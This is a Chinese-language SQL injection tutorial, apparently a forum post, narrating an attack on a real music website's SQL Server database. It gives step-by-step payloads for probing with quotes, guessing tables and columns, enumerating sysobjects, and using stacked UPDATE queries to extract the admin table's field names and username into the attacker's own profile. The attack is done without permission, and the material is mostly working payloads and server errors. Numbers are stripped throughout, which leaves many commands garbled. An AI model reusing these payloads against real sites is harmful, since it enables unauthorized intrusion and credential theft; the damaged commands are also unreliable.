SQL Injection这个话题越来越热了很多的论坛和hack站点都或多或少地在谈论这个问题当然也有很多革命前辈写了N多的关于这方面的文章所利用的也是许多知名的程序比如动网尘缘雅境而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构从中来达到注入的目的不过如果是别人自己写的程序那么我们就不知道他的源代码更不知道他的数据库结构(数据表名和其中的字段名)就算有个变量未过滤提交到数据库去我们也是无从对其下手的只能利用通过猜解他的数据库结构来构造相应的SQL语句那么是不是就到此为止能猜到多少是多少呢?没有做不到的只有想不到的我相信这篇文章对研究SQL Injection朋友来说应该会有所启发
一发现漏洞常规注入
最近帮我们的站增加音乐虽然本地的电信的音乐资源库非常丰富但是缺少有关歌手和专辑的资料所以到网上去闲逛找点有用的图片和歌手简介通过百度搜索到了一个mp的音乐超市里面的资料还是比较丰富的拷贝的同时顺手在他的Specialid=后面加了一个(单引号)我突然眼前一亮
Microsoft OLE DB Provider for SQL Server 错误 e
字符串 之前有未闭合的引号
/showspecialasp行
Specialid没有过滤掉单引号就直接用到SQL语句中去了而且是SQL SERVER版本的漏洞的可利用性极大可不能就此放过这么好的练兵机会接着换;(分号)提交进去居然页面正常出来了说明该变量也没有过滤掉;号到这里我们就可以对此进行SQL渗透了按照常规的步骤
提交?Specialid=;use master;
注的作用是注释掉程序中后面的SQL语句以防对我们构造的语句有影响比如order by
出现
Microsoft OLE DB Provider for SQL Server 错误 e
多步 OLE DB 操作产生错误如果可能请检查每个 OLE DB 状态值没有工作被完成
/showspecialasp行
想在他的数据库里增加一个管理员是不可能了我们再换一种方法
提交?Specialid= and <>(select count(id) from [user])
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段
一般来说:
如果不存在该表的话会出现
Microsoft OLE DB Provider for SQL Server 错误 e
对象名 user 无效
/showspecialasp行
不存在该字段的话会出现
Microsoft OLE DB Provider for SQL Server 错误 e
列名 id 无效
/showspecialasp行
注一般来说第一步是猜一些公共的表这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段比如新闻的news表中的编号字段id标题字段title用户表user或者user_data中的编号字段id用户名字段username当然你也可以在该站点的登陆界面看他的原代码找到用户名和密码的表单的name值那个也经常会是表字段名的真实值如<INPUT type=text name=username size=>
很幸运果然存在user表和id字段
通过提交?Specialid= and <>(select count(username) from [user])
这里的username是根据登陆框的表单名去猜的恰好存在该字段于是在该站注册了一个用户名为rrrrr的用户作为注入的平台得到我的用户名的id值
继续猜下去这里我还是利用的他程序中的表单名提交
?Specialid= and <>(select count(email) from [user])
也存在好了到这里我们的平台已经搭建好了
二深入研究让SQL自己招数据库结构
很多时候我们只能猜到大家比较熟用的表名如果是非原程序公开下载的我们很猜到他的真实数据库结构有时候猜半天都猜不到令人很郁闷那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表根据SQL SERVER的联机帮助描述是系统表sysobjects在数据库内创建的每个对象(约束默认值日志规则存储过程等)在表中占一行那么也就是说当前数据库的表名都会在该表内有存在(对象名 admin 无效大家可以看到上面出现的报错把表名描述成对象)
我们要用的是其中的个描述如下(详细的见SQL SERVER的联机帮助)
name 数据表的名字
xtype 数据表的类型 u为用户表
id 数据表的对象标志
status 保留字段用户表一般都是大于的
在查询分析器执行以下SQL语句(以我本地的数据库为例子)
select top name from sysobjects where xtype=u and status>
我们马上就可以得到该数据库下用户表的第一个表名gallery
select top id from sysobjects where xtype=u and name=gallery
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志
select top name from sysobjects where xtype=u and id>
再得到第个表名gb_data这里用到的是id>因为对象标志id是根据由小到大排列的
以此类推我们可以得到所有的用户表的名字了
接下来我们要根据得到的表名取他的字段名这里我们用到的是系统自带的个函数col_name()和object_id()在查询分析器执行以下SQL语句(以我本地的数据库为例子)
select top col_name(object_id(gallery)) from gallery
得到gallery表的第一个字段名为id
注
col_name()的语法
COL_NAME ( table_id column_id )
参数
table_id包含数据库列的表的标识号table_id 属于 int 类型
column_id列的标识号column_id 参数属于 int 类型
其中我们用object_id()函数来得到该表的标识号表示该表的第个第个第个字段的标识号
以此类推得到该表所有的字段名称
三再次渗透攻击
经过上面步的热身接下来我们该利用建立好的平台实际操作演练一下了
依然是那个页我们提交
?Specialid=;update[user] set email=(select top name from sysobjects where xtype=u and status>) where id=;
服务器返回
ADODBRecordset 错误 acb
当前记录集不支持更新这可能是提供程序的限制也可能是选定锁定类型的限制
/showspecialasp行
出师不利可能该页记录集打开方式是只读我们再换一个页
找到?Classid=&SClassid=的SClassid同样存在问题于是提交
?Classid=&SClassid=;update [user] set email=(select top name from sysobjects where xtype=u and status>) where id=;
把第一个数据表的名字更新到我的资料的email项里去得到第一个表名为lmuser
?Classid=&SClassid=;update [user] set email=(select top id from sysobjects where xtype=u and name=lmuser) where id=;
得到第一个表lmuser的id标识号为
?Classid=&SClassid=;update [user] set email=(select top name from sysobjects where xtype=u and id>) where id=;
得到第二个表名为ad这里我们利用的是数据表的对象标志id是升序排列的特点以此类推继续取……(由于篇幅问题中间省略n步)最后我们得到了所有的表名发现其中有个表admin哈很可能就是管理员的列表了
好接下来我们就取该表的字段名
?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
得到第个字段为id
?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
得到第个字段为username
?Classid=&SClassid=;update [user] set email=(select top col_name(object_id(admin)) from admin) where id=;
得到第个字段为password
到此管理员列表的个关键字段已经给我们拿到接下来要拿用户名和密码就比较省力了首先拿管理员的id值这个比较简单我就不再详细说了
我们拿到的id值是
?Classid=&SClassid=;update [user] set email=(select top username from admin where id=) where id=;
将该管理员的用户名更新到email项 拿到的username为gscdjm